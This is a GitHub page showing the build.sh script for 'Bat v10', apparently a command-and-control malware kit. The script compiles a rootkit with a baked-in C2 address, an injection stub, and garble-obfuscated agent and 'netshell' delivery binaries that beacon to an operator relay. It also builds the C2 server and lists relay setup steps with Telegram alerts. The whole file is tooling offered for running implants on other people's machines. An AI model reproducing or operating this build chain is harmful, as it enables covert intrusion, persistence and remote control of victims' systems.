-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathbuild.sh
More file actions
executable file
·200 lines (176 loc) · 6.41 KB
/
Copy pathbuild.sh
File metadata and controls
executable file
·200 lines (176 loc) · 6.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#!/bin/bash
# build.sh -- Build all Bat v10 binaries
#
# Prerequisites (operator machine):
# apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu
# go install mvdan.cc/garble@latest
#
# Usage:
# cp build.env.example build.env && nano build.env
# ./build.sh # default: garble agent x86_64+arm64 + server arm64 + netshell
# ./build.sh agent # agent only (garble x86_64+arm64)
# ./build.sh server # server arm64 only (EC2 / Mac M-series)
# ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD)
# ./build.sh netshell # netshell only (garble x86_64+arm64)
# ./build.sh all # everything (non-garble)
set -euo pipefail
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ENV_FILE="${REPO_ROOT}/build.env"
if [[ ! -f "$ENV_FILE" ]]; then
echo "[ERROR] build.env not found."
echo " Run: cp build.env.example build.env && nano build.env"
exit 1
fi
# shellcheck source=/dev/null
source "$ENV_FILE"
[[ -n "${RELAY_IP:-}" ]] || { echo "[ERROR] RELAY_IP not set in build.env"; exit 1; }
[[ -n "${SECRET:-}" ]] || { echo "[ERROR] SECRET not set in build.env"; exit 1; }
C2_PORT="${C2_PORT:-9443}"
KCC_PORT="${KCC_PORT:-9444}"
BEACON_INTERVAL="${BEACON_INTERVAL:-30s}"
TRIGGER="${TRIGGER:-udp}"
SSH_KEY="${BAT_KEY:-}"
log() { echo "[BUILD] $*"; }
ok() { echo "[OK] $*"; }
TARGET="${1:-default}"
cd "${REPO_ROOT}/agent"
_build_rootkit_and_stub() {
log "Rootkit x86_64..."
make rootkit C2_IP="${RELAY_IP}" C2_PORT="${C2_PORT}"
log "Inject stub..."
make inject-stub
}
_server_make_flags() {
echo \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
}
TG_TOKEN="${TG_TOKEN:-}"
TG_CHAT_ID="${TG_CHAT_ID:-}"
case "$TARGET" in
netshell)
_build_rootkit_and_stub
log "Garble netshell x86_64 + arm64..."
make garble-netshell \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Netshell -> bin/netshell-v10-*"
;;
agent)
_build_rootkit_and_stub
log "Garble agent x86_64 + arm64..."
make garble-agent \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Agents -> bin/"
;;
server)
log "Server arm64..."
make server-arm64 \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Server -> bin/bat-server-v10-arm64"
;;
server-amd64)
log "Server x86_64..."
make server \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Server -> bin/bat-server-v10-x86_64"
;;
all)
_build_rootkit_and_stub
log "Full build (non-garble)..."
make lab \
RELAY="${RELAY_IP}" \
SECRET="${SECRET}" \
INTERVAL="${BEACON_INTERVAL}" \
TRIGGER="${TRIGGER}" \
SSH_KEY="${SSH_KEY}"
make server-arm64 \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Full build -> bin/"
;;
default)
log "Default build: garble agent + server arm64 + netshell..."
_build_rootkit_and_stub
log "1/3 -- Garble agent x86_64 + arm64..."
make garble-agent \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
log "2/3 -- Server arm64..."
make server-arm64 \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
log "3/3 -- Netshell (delivery binary)..."
make garble-netshell \
SERVER="${RELAY_IP}:${C2_PORT}" \
FALLBACK="${RELAY_IP}:${C2_PORT}" \
RAWSOCK_CB="${RELAY_IP}:${C2_PORT}" \
KCC_ADDR="${RELAY_IP}:${KCC_PORT}" \
TRIGGER="${TRIGGER}" \
INTERVAL="${BEACON_INTERVAL}" \
SECRET="${SECRET}" \
SSH_KEY="${SSH_KEY}"
ok "Build complete. Binaries in bin/:"
ls -lh "${REPO_ROOT}/bin/" 2>/dev/null || true
echo ""
echo "Next steps:"
echo " 1. Relay: ./relay/setup.sh --tg-token \${TG_TOKEN} --tg-chat-id \${TG_CHAT_ID}"
echo " 2. Sync: ./relay/sync.sh ubuntu@\${RELAY_IP} --key \${BAT_KEY} --restart-kcc --tg"
echo " 3. Server: ./bin/bat-server-v10-arm64"
;;
*)
echo "Usage: $0 [agent|netshell|server|server-amd64|all|default]"
exit 1
;;
esac